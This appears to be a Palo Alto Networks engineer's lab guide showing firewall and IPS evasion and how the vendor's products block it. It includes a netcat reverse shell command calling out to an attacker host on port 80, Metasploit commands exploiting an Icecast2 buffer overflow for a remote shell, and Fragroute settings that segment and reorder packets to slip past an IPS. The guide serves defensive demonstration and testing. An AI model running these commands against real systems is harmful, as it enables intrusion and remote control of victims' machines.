Vous êtes sur la page 1sur 20

Evasion techniques and Palo Alto Networks

solutions resilience

Evasion techniques and PAN solutions resilience


Page 2 of 20

INDEX
INTRODUCTION ...................................................................................................3
GOAL ............................................................................................................................. 3
SCOPE ............................................................................................................................ 3
SUMMARY ....................................................................................................................... 4
NETWORK ARCHITECTURE FOR THE LAB .......................................................................... 5
TOOLS ............................................................................................................................ 6

EVADING THE FIREWALL: TUNNELING ...........................................................7


EXPLANATION ................................................................................................................. 7
LAUNCHING THE ATTACK ................................................................................................. 7
PROTECTING AGAINST THE ATTACK ............................................................................... 10
CONCLUSION ................................................................................................................ 11

EVASION TECHNIQUES AGAINST AN IPS:


SEGMENTATION/FRAGMENTATION ...............................................................11
EXPLANATION ............................................................................................................... 11
LAUNCHING THE ATTACK ............................................................................................... 14
PROTECTING AGAINST THE ATTACK ............................................................................... 19
CONCLUSION ................................................................................................................ 20

Evasion techniques and PAN solutions resilience


Page 3 of 20

Introduction
Goal
The main goal for this paper is to show some common evasion techniques that are
frequently used, when trying to evade the protection mechanism that firewalls or IPSs
solutions provide. We will show a couple of examples, each one covering an evasion
technique for firewalls and IPSs. We will also demonstrate how the solutions from Palo
Alto Networks can be easily used to prevent these evasion attempts. Its important to
note that there are many other evasion techniques that can be used and that are not
covered on this paper.
The configuration of the labs and the attacks themselves is not complicated, and can be
used when running demos or events with partners or end users, to reinforce the leader
position that Palo Alto Networks solutions have in the security market.
The content of the paper is mostly technical, and therefore the intended audience are
system engineers. We understand that the reader has already a basic knowledge on
how to configure a Palo Alto Networks firewall; therefore all the steps to set up a basic
configuration are not covered here.
The documentation included in this paper is not intended, by any means, to substitute
any official document from Palo Alto Networks. The official documentation can be found
in the public website and also in the corporate Intranet for the employees.

Scope
The documentation included in this paper will cover the following main aspects:
Definition of the problem
Example on how to evade a L4 firewall using tunneling techniques
Resilience from Palo Alto Networks solutions to tunneling: App-ID
Example on how to evade an IPS using fragmentation/segmentation
Resilience

from

Palo

Alto

segmentation: IPS capabilities

Networks

solutions

to

fragmentation/

Evasion techniques and PAN solutions resilience


Page 4 of 20

Summary
Nowadays most of the firewalls running over customers networks are based upon a
technique called Stateful Inspection, which was deployed more than 15 years ago. The
main goal of this underlying technology was to handle dynamic applications, which could
use random TCP/UDP ports during their natural operation. The Stateful Inspection
technique is able to understand the underlying protocols for those applications, and can
dynamically open only the required ports for each connection, versus opening a big set
of ports. It operates therefore at L4 in the TCP stack. When it was released it supposed
a significant increase over security and it also simplified the tasks related to the
management of security devices.
The main drawback that this approximation has today, is that it supposes that each
TCP/UDP port can be mapped with a correspondent application, which is basically false.
For instance, for a Stateful Inspection engine all the traffic going through TCP port 80 will
be considered to be web browsing and all the traffic going over TCP port 443 secure
web browsing. During the last 15 years the developers were aware about this limitation,
and created tons of applications that used these well known ports to tunnel other
applications, many times with completely different purposes than the theoretical original
ones (HTTP and HTTPs). In many cases these applications can be really harmful and
can encapsulate dangerous attacks.
In our example we will encapsulate a remote shell over a tunnel (using Netcat) to show
how to evade a Stateful Inspection firewall easily. After that we will configure a Palo Alto
Networks firewall to work at L7, using App-ID. This technology is the core of Palo Alto
Networks solutions, and it works at L7. It can recognize the real applications and
differentiate them although they use the same transport (i.e. TCP port 80). If the
administrator has allowed only the traffic associated to the web navigation, the firewall
will allow only this kind of traffic and it will drop the rest. This approach makes big
improvements over Stateful Inspection solutions, in terms of visibility and security and it
represents a true positive approach to security, since the firewall is able to understand
the application and also its behavior. We will demonstrate that thanks to the positive
approach from App-ID, and without using any kind of IPS prevention mechanism, the
firewall will detect that the underlying application is not really web browsing and it will
deny the connection.

Evasion techniques and PAN solutions resilience


Page 5 of 20

For the IPS example, we will show a real attack based upon a buffer overflow, which is
able to get a remote shell over the victims host. We will also configure some evasion
techniques based upon fragmentation/segmentation of the traffic, which will make the
attack still usable for the attacker, thanks to the capabilities included in the TCP stack of
each operating system. Finally we will configure the integrated IPS protections in Palo
Alto Networks firewalls to show that the IPS detects the attack, even under all the
evasion conditions.

Network architecture for the lab


The following picture, Picture 1, shows the logical network diagram that we will use in
our lab. For sake of simplicity we will use a deployment based upon L3 with only 2
networks, LAN and Internet. The victim will be in LANs network and the attacker over the
Internet:

Picture 1.- Lab logical diagram

Evasion techniques and PAN solutions resilience


Page 6 of 20

Tools
Following we list the main tools that we will use during the lab to perform the attacks. All
of them are freeware or licensed upon the GNU license and can be downloaded through
the Internet:
Netcat
Metasploit Framework
Fragroute
Icecast2 version 2.0.0 for Windows
Wireshark

Evasion techniques and PAN solutions resilience


Page 7 of 20

Evading the firewall: tunneling


Explanation
The attacker is seated externally to the victims network (i.e. Internet) and pretends to
get a remote shell on the victims host. It supposes that the victims corporate firewall is
operating at L4 (is therefore based upon the Stateful Inspection protocol). Somehow it
gets a trojan installed on the victims computer. We will not cover on this paper how the
trojan gets to the victim, since its not the purpose of this document. It can be done by
different means (sending it by email, using social engineering, getting download it from a
malware site, etc.). Once that the trojan is installed on the victim, it will open a TCP
tunnel over port 80 to a server on the attackers network. Through this tunnel it will also
link a shell that will give full control to the attacker. Since the firewall operates at L4 it will
allow the tunnel to go from the internal LAN to the Internet through port 80. The reason
is that it believes that this session is web browsing, instead of another tunneled
application.

Launching the attack


In order to make the attack we need first to configure the Palo Alto Networks firewall to
operate at L4 instead of L7. We pretend to simulate somehow that we are working like a
Stateful Inspection firewall. In order to do it so we configure a policy like the one showed
in the following picture, Picture 2:

Picture 2.- Basic policy to simulate a L4 firewall


As you can see we have only one rule that allows all the traffic from the internal LAN to
the Internet that goes through TCP port 80. Note that the policy has a service configured
under the Service column, that includes service-http. This service is already defined
by default in all Palo Alto Networks firewalls, and defines TCP port 80. Note that the
Application column is not configured (it includes any).
Once that the policy is installed and committed, we launch our tunneling tool on the
attacker and on the victim (simulating the trojan). For this purpose we will use netcat.
Netcat is a very popular tunneling application, which has distributions for different

Evasion techniques and PAN solutions resilience


Page 8 of 20

operating systems, including Windows, Linux and MacOS. You can get more information
on the tool as well as download it from the following link: http://netcat.sourceforge.net
As explained before the attacker will simulate an http server where the victim will
connect; therefore on the attacker we configure the tool to listen on port 80, with the
following command (once that you type the command you wont see anything by the
moment; just that the tunnel is listening for incoming connections):
netcat l p 80
Now we need to launch the trojan in the victims workstation. We will use also netcat,
with the following command:
netcat -e cmd.exe <remote_host> <remote_port>
In our example in this lab:
netcat e cmd.exe 192.168.57.100 80
The command -e in netcat permits to link a command into the tunnel. Since we want to
get a shell and the operating system in our labs victim is Windows based, we call the
Windows shell cmd.exe.
Once that you launch the attack, if you check the attackers console you should see
something similar to the following picture, Picture 3. On this example we have executed
a dir command:

Evasion techniques and PAN solutions resilience


Page 9 of 20

Picture 3.- Example of the remote shell that the attacker gets via the tunnel
As you can see the attack has gone undetected through the firewall and now the
attacker can start executing commands on the remote victims workstation. You can try
several other commands if you wish.
Its important to note that although we are trying to simulate a L4 firewall, the Palo Alto
Networks firewall really works at L7. You can check this behavior by taking a look to the
logs. If you try to navigate to a real site, the logs will recognize that you are doing webbrowsing. On the other side, for the tunneled connection the application column shows
unknown-tcp. Next picture, Picture 4, shows an example (note the difference between
the destination 192.168.57.100 tunnel identified as unknown tcp- and a real session
web browsing):

Picture 4.- Example on the logs received when the attack works

Evasion techniques and PAN solutions resilience


Page 10 of 20

Protecting against the attack


Once that we have shown that the attack succeeds, we proceed to configure the Palo
Alto Networks firewall to work at L7. In order to do it so, we just need to configure the
application column under the same rule to include web-browsing. You can leave if
you wish the service column configured with service-http or you could remove it to
any, or change it to application default. The following picture, Picture 5, shows an
example on this configuration:

Picture 5.- Configuring the firewall to work at L7


Now you should try to execute the same commands that you executed before, when the
attack was successful. As you will see at the beginning the attack seems to work
because the connection between victim and attacker takes place, but if you type any
command, or just press Enter a couple of times, the connection will be immediately
dropped. The reason behind this behavior is that when the TCP 3-way-handshake takes
place, the firewall has no information on the application because those packets dont
carry any payload with application data. Therefore it needs to permit the connection
initially. Once that the data appears the system detects that the application is not really
web-browsing and drops the connection. This point is important to remark, because our
technology makes continuous analysis to the packet flows, in order to inspect them at L7
and ensure that the application running is the one that the security administrator has
configured on the policy.
You can try also to navigate to a real site; you will see that those sessions work as
expected. The following picture, Picture 6, shows the logs in our lab. The first log is the
tunneled session unknown tcp, dropped- and the second one a real web-browsing
session, permitted:

Picture 6.- Example of the logs received when the attack is dropped

Evasion techniques and PAN solutions resilience


Page 11 of 20

Conclusion
As demonstrated before, a simple L4 device is not able to prevent application evasion
techniques based upon tunneling. Therefore the firewalls based only upon Stateful
Inspection technology can not offer protection mechanisms against these attempts.
Many vendors that rely on Stateful Inspection technology have tried to complement their
solutions adding some L7 capabilities on independent modules. The result is that the
combined solution usually offers poor results in terms of performance and visibility,
because the foundation of the solution is still based on a L4 approach.
On the other hand, the positive security approach that App-ID offers within Palo Alto
Network solutions, is capable of detect and prevent this kind of attacks, even before they
need to be inspected by the integrated IPS module, from the base. This results in a
better response time and throughput, and in a superior security level.
Regarding management and configuration, as we have shown on this example, the set
up is really simple and powerful because the Next Generation Firewalls from Palo Alto
Networks solutions are based from the foundation on a L7 strategy versus a L4
approach.

Evasion techniques against an IPS:


segmentation/fragmentation
Explanation
On this example we are going to focus and work with the IPS solution integrated within
Palo Alto Networks Next Generation Firewalls. We will exploit a vulnerability that exists
on Icecast2. According to its developers: Icecast is a streaming media server which
currently supports Ogg Vorbis and MP3 audio streams. It can be used to create an
Internet radio station or a privately running jukebox and many things in between. It is
very versatile in that new formats can be added relatively easily and supports open
standards for communication and interaction.
Version 2.0.0 of Icecast2 for Windows contains a critical buffer overflow vulnerability,
which allows a remote attacker to successfully exploit it and get a remote shell on the
attacked system.
The purpose of this paper is not giving a deep explanation on what are the buffer
overflow attacks and how they can be exploited. Nevertheless, and to provide a basic

Evasion techniques and PAN solutions resilience


Page 12 of 20

idea on the attack that we are going to run, lets say that buffer overflows exploit a
vulnerability that exists when a program is not able to parse properly the parameters that
receives, allowing the attacker to go beyond the boundaries for these parameters.
All the parameters that a program handles are stored in a special memory structure
called System Stack or Stack (not related at all with the TCP Stack). The Stack also
keeps tracking of the flow that a program follows during all the calls to functions or
procedures in the programs runtime. When a program makes a call to a procedure or a
function, the Stack stores the return address, which allows the program to continue
running at the same point, once that the function/procedure finishes.
When a buffer overflow condition exists, the attacker sends some special parameters
that are able to overwrite the return address of the function/procedure. As we said before
this is possible only if the parsing of the parameters is not done properly by the program.
When this happens the attacker modifies the original flow of the program (because
overwrites the return address) and can then execute another kind of program. The
program that the attacker usually tries to inject is a shell, which will give him/her control
over the attacked system. The most interesting variables for trying to inject the code are
usually the array structures, because usually they are the bigger ones. The following
picture, Picture 7, shows a simplified example of the structure that the attacker tries to
inject over a buffer overflow:

Picture 7.- Example structure injected on a buffer overflow attack


As shown in Picture 7, the attacker sends a specially constructed parameter, which
consists on the code of the shell and a return address (RET) that overwrites the original
one in the program, to point to the beginning of the injected shell. If succeeds, the

Evasion techniques and PAN solutions resilience


Page 13 of 20

original return address is overwritten and the program flow is changed, to jump into the
injected shell that will then be executed.
This explanation is extremely simplified to introduce the fundamentals of the attack that
we are going to launch on this chapter over Icecast2. There are many other techniques
to execute buffer overflows and tons of articles about how they work. Probably a good
starting point for those readers interested on this area, would be the famous article from
Aleph1, called Smashing the Stack for Fun and Profit, published in Phrack magazine
number 49 that can be found over the following link:
http://www.phrack.org/issues.html?issue=49&id=14#article
On this example we will suppose again that the attacker is seated externally to the
network, over the Internet. We will suppose also that this network is providing an
external streaming service, through Icecast2. The service will be placed again over the
same station used as victim before (LAN), although probably in a real environment this
would be a DMZ. The firewall will allow the traffic from the Internet to the LAN for this
service and the attacker will exploit the vulnerability using Metasploit Framework.
Metasploit is a project that provides an open platform to include exploits. Many different
developers contribute to update the content and it includes an exploit for Icecast2. You
can find more information on their webpage: http://www.metasploit.com
Once that we inject the attack and we check that it works, we will inject it again, but
using some evasion techniques mainly focused for trying to bypass the IPS.
The evasion techniques that we will use are based upon using segmentation/
fragmentation of the packets. These evasion techniques take advantage of the
capabilities that all TCP stacks have to reassemble fragmented traffic, and also to
reorder it. The basic idea behind these techniques is the following:
1. Imagine that we have an IPS signature searching for the string malware.
2. Instead of sending the whole malicious string in one packet, the attacker.
fragments it over several ones. For instance: P1: m; P2: a; P3:l;P7:e.
3. If the IPS is not able to reassemble fragmented traffic, it wont detect the attack
because its searching for malware but never finds it.
4. The attacker can also disorder the packets, again trying to avoid the IPS. For
instance: P1:a; P2:l; P3:e;; P7:m.

Evasion techniques and PAN solutions resilience


Page 14 of 20

5. If the IPS can reassemble the fragmented traffic but its not able to reorder it, it
will fail again while trying to detect the attack.
6. Finally the TCP Stack in the victims operating system reassembles and reorders
the packets and the attack succeed.

Launching the attack


The first step that we need to do is install Icecast2 in the victims station and Metasploit
Framework on the attackers one. We wont cover the required steps to make those
installations on this document, since they are pretty simple and they are well
documented on the Internet.
Once that the tools are already installed, we configure a basic policy in the firewall to
allow the incoming traffic from the Internet to the LAN. Since we are focusing on this
chapter on the IPS, we can just configure an any to any policy. Following picture,
Picture 8, shows this basic policy. Note that we havent enabled yet any IPS features,
since first we want to test that all the attacks work without enabling our protections:

Picture 8.- Basic policy for the BO attack


Now we launch the Icecast server on the victims host. The following picture, Picture 9,
shows an example on how the console will look once that you press over the Start
Server button. As a reminder, dont forget to open the personal firewall on the victims
station, to be sure that the incoming connections against Icecast2 are accepted (TCP
Port 8000):

Evasion techniques and PAN solutions resilience


Page 15 of 20

Picture 9.- Icecast2 console on victims station


Now that the server is running we go over the attacker station and we launch the
Metasploit Framework. It includes a GUI, but we will show how to launch the attack from
the CLI. We need to execute the following commands within Metasploit:
msf> use icecast_header
msf> set RHOST <victims_IP>
msf> set PAYLOAD win32_bind (it has many other shells to play around, even a
graphical VNC connection that you can try if you wish).
msf> exploit
Once that you execute the exploit command, the system will inject the Buffer Overflow
over the victim and you should get a shell on the remote system (Windows in our lab).
Following picture, Picture 10, shows an example of the output that you should get and
also an example executing again a dir command over Windows:

Evasion techniques and PAN solutions resilience


Page 16 of 20

Picture 10.- Example output for a successful exploitation of Icecast2 BO


Once that we have checked that the attack succeeds, we will start to use the evasion
techniques described above. For this purpose we will use Fragroute (not the same than
FragRouter). Fragroute is a very simple but powerful tool, that intercepts, modifies, and
rewrites egress traffic destined for a specified host. You can find more information on
this tool, as well as download it, from the following link:
http://monkey.org/~dugsong/fragroute/

Evasion techniques and PAN solutions resilience


Page 17 of 20

The configuration for Fragroute once that you install it is pretty simple. You have only to
focus on the file /etc/fragroute.conf. Following you have an example on this file:
tcp_seg 32
#tcp_chaff rexmit
#order random
#ip_frag 8
#ip_tos 1
print
The lines that start with # are comments and therefore they are not executed. So, and
in the example file before, we are executing just tcp_seg 32 and print. These two
commands mean that we are going to segment all the traffic at L4 (TCP Segmentation)
in packets of 32 bytes, and that we are also going to print them. This is the first test that
we are going to run. In order to start with the segmentation you just need to type the
following command on the attacker, before you run again Metasploit (we show also the
first output that you will get, confirming the two expected commands):
[root@jesusd framework-2.6]# fragroute <victims_IP>
fragroute: tcp_seg -> print
Now we run Metasploit exactly the same way that we did before and we check that
effectively the attack succeeds. Following we show an example of the output that
Fragroute provides while segmenting the traffic:
192.168.57.90.32777 > 192.168.1.99.8000: P 71941053:71941085(32)
ack 3945129395 win 5840 <nop,nop,timestamp 835716 0> (DF)
192.168.57.90.32777 > 192.168.1.99.8000: P 71941085:71941117(32)
ack 3945129395 win 5840 <nop,nop,timestamp 835716 0> (DF)
192.168.57.90.32777 > 192.168.1.99.8000: P 71941117:71941149(32)
ack 3945129395 win 5840 <nop,nop,timestamp 835716 0> (DF)
192.168.57.90.32777 > 192.168.1.99.8000: P 71941149:71941181(32)
ack 3945129395 win 5840 <nop,nop,timestamp 835716 0> (DF)

We can also activate a sniffer on the victims workstation to check that the packets are
segmented at the TCP layer (L4) in 32 bytes. The following picture, Picture 11 shows an

Evasion techniques and PAN solutions resilience


Page 18 of 20

example of a capture taken under these conditions via WireShark (note that as expected
the Data Length is 32 bytes):

Picture 11.- Example output from Wireshark with packets segmented in 32 bytes
Finally we will try another injection attempt, making the same segmentation but sending
the packets out of order. Following is the required configuration in the file
/etc/fragroute.conf (note that we have enabled the option order random):
tcp_seg 32
#tcp_chaff rexmit
order random
#ip_frag 8
#ip_tos 1
print
If we inject now the attack with Metasploit we will check that it will work once again,
since the TCP stack of the Windows victim knows how to reassemble and reorder the
packets.
If you wish you can play with other options from Fragroute, like making fragmentation at
L3 (IP Fragmentation ip_frag option) or sending fake packets together with the good
ones (tcp_chaff rexmit).

Evasion techniques and PAN solutions resilience


Page 19 of 20

Protecting against the attack


Now we will configure the firewall to protect against these attempts, using the IPS
(Vulnerabilities) protection within Palo Alto Networks next generation firewalls. We will
first create a Vulnerability profile with all the Critical and High attacks configured to
block, instead of using the Default action. This step is important, because the signature
against this buffer overflow is configured by default to alert; if we dont change we will
see the logs but the attack will still succeed. The following picture, Picture 12, shows the
Vulnerability profile that we will use:

Picture 12.- Vulnerability profile used


The final step is to enable this Vulnerability profile on the rule that we created before to
allow the incoming traffic from the Internet to the LAN. Picture 13 shows this
configuration:

Picture 13.- Security policy rule including the vulnerability profile


Its important to note that we dont need to configure anything special in order to protect
against the evasion techniques mentioned, because Palo Alto Networks firewalls include
by default protection mechanisms enabled to avoid all this kind of fragmentation/
segmentation attempts.
Now we launch the same attacks that we did before and we check that effectively the
firewall is now stopping all the attacks, both without using Fragroute and using it. We can
check also that we dont get the remote shell from Metasploit.

Evasion techniques and PAN solutions resilience


Page 20 of 20

Following picture, Picture 14, shows an example of the Threat Logs that you get on the
firewall while injecting the attack through the different attempts already reviewed:

Picture 14.- Threat Logs for the detection of Icecast2 BO injection

Conclusion
As it happened with the tunneling example reviewed before, we have demonstrated that
the IPS solution within Palo Alto Networks next generation firewalls is able to protect
against evasion techniques like the segmentation/fragmentation of the packets. The
configuration required is also very simple and straight forward, minimizing the
operational costs for the security managers.
Furthermore the IPS solution takes advantage of the knowledge that App-ID provides,
and therefore is able to apply signatures, and other protection mechanisms, depending
on the context of each application. This point is critical to guarantee a really low rate of
false positives and false negatives, and also to offer high throughput at low latency.

Vous aimerez peut-être aussi